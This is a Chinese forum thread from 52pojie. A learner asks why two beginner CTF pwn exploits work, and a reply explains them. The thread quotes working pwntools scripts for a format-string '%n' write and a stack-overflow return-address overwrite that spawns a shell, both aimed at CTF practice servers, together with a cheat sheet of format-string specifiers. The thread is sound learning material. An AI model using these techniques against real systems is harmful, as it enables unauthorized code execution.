吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3563|回复: 16
收起左侧

[ReverseMe] 【CTF】关于几道pwn入门题的疑惑,恳请大佬解答一下

  [复制链接]
Dyingchen 发表于 2019-11-11 18:13
CM是什么?Crackme是什么?这是什么东西?楼主发的什么?
他们都是一些公开给别人尝试破解的小程序,制作 Crackme 的人可能是程序员,想测试一下自己的软件保护技术,也可能是一位 Cracker,想挑战一下其它 Cracker 的破解实力,也可能是一些正在学习破解的人,自己编一些小程序给自己破解,KeyGenMe是要求别人做出它的 keygen (序号产生器), ReverseMe 要求别人把它的算法做出逆向分析, UnpackMe 是要求别人把它成功脱壳,本版块禁止回复非技术无关水贴。

本帖最后由 Dyingchen 于 2019-11-11 18:15 编辑

因为吾爱破解貌似没有专门的pwn区,所以就发到CM/RE区了,希望各位大佬能够多多指点一下1:格式化字符串(来源攻防世界)
一道入门题,用IDA32位打开内容如下

可以看到里面的printf(&s);这一句是可以被利用起来的,查看pwnme的地址:   bss:0804A068   得出位于bss段,地址不会变。
然后看一下被printf()打印出来的字符串s在栈里面的偏移

得到偏移为10(41414141对应我们之前输进去的4个A的ascii值),接下来就是我疑惑的地方了
从网上的一些资料可以知道:

常用基本的格式化字符串参数介绍:(printf)
%c:输出字符,配上%n 可用于向指定地址写数据。
%d:输出十进制整数,配上%n 可用于向指定地址写数据。
%x:输出 16 进制数据,如%i$x 表示要泄漏偏移 i 处 4 字节长的 16 进制数
据,%i$lx 表示要泄漏偏移 i 处 8 字节长的 16 进制数据,32bit 和 64bit 环境下一
样。
%p:输出 16 进制数据,与%x 基本一样,只是附加了前缀 0x,在 32bit 下输
出 4 字节,在 64bit 下输出 8 字节,可通过输出字节的长度来判断目标环境是 32bit
还是 64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s 表示
输出偏移 i 处地址所指向的字符串,在 32bit 和 64bit 环境下一样,可用于读取
GOT 表等信息。
%n:将%n 之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址
位置,如%100×10$n 表示将 0x64 写入偏移 10 处保存的指针所指向的地址(4
字节),而%$hn 表示写入的地址空间为 2 字节,%$hhn 表示写入的地址空间为 1
字节,%$lln 表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,
直接写 4 字节会导致程序崩溃或等候时间过长,可以通过%$hn 或%$hhn 来适时
调整。
%n 是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符
串参数可用于读取信息或配合%n 写数据。

然而看别人写的exp的时候:
[Python] 纯文本查看 复制代码
from pwn import *
r = remote('111.198.29.45', 50709)
pwnme_addr = 0x0804A068 
payload = p32(pwnme_addr) + 'aaaa' + '%10$n' #pwnme
r.recvuntil("please tell me your name:\n")
r.sendline('BurYiA')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()


其中我不明白%10$n为什么要这样写

2:返回地址覆盖(来源buuctf)
用IDA64位打开程序如下

非常简单的一个程序,其中一个叫fun的函数返回了shell,所以思路应该是溢出某个函数,让其返回地址变成fun的地址,然后这样就可以获得shell的使用权限
然后下面是别人写的exp:
[Python] 纯文本查看 复制代码
from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()



我不清楚为什么要写一个a*23,23是偏移,但是应该如何计算呢?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册[Register]

x

免费评分

参与人数 6吾爱币 +4 热心值 +6 收起 理由
Tweedia + 1 + 1 用心讨论,共获提升!
shq + 1 谢谢@Thanks!
仙人邱 + 1 用心讨论,共获提升!
TroyeSivanSS + 1 + 1 用心讨论,共获提升!
yinyilinb + 1 + 1 小白我也在学这个,
chumen77 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

penGpng 发表于 2019-11-11 19:33
1. %10$n是把%10$n之前输出字符的个数写入偏移为10所指向的变量,这里偏移10的是输入的pwnme的地址,且%10$n前面输出了8个字符,
所以pwnme的值就被写成8。
2. 可以看到get输入的s在栈中的位置是rbp-Fh,此时rbp指向的是调用函数的rbp,rbp+8指向的是返回地址,所以可以通过输入F+8=23个字符再加上fun函数的地址将返回地址覆盖成fun函数的地址,
函数返回时就会返回到fun函数里。

我最近也在学习pwn的知识,lz可以看下这个入门,总结的很系统。
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
Dyingchen + 1 + 1 谢谢@Thanks!

查看全部评分

百尺书生 发表于 2019-11-11 19:25
vethenc 发表于 2019-11-11 18:26
浪子微笑 发表于 2019-11-11 18:47
很不错,以后有机会试试
PSE 发表于 2019-11-11 19:09
学习学习学习
scz000614 发表于 2019-11-11 20:17
谢谢大佬
IWENS 发表于 2019-11-11 20:43
谢谢大佬
呀嘻耶耶 发表于 2019-11-11 21:51
支持一 下  学习了,新手起步,还有很多要学习
nosleeping 发表于 2019-11-12 09:17
加油 流批
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 14:40

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表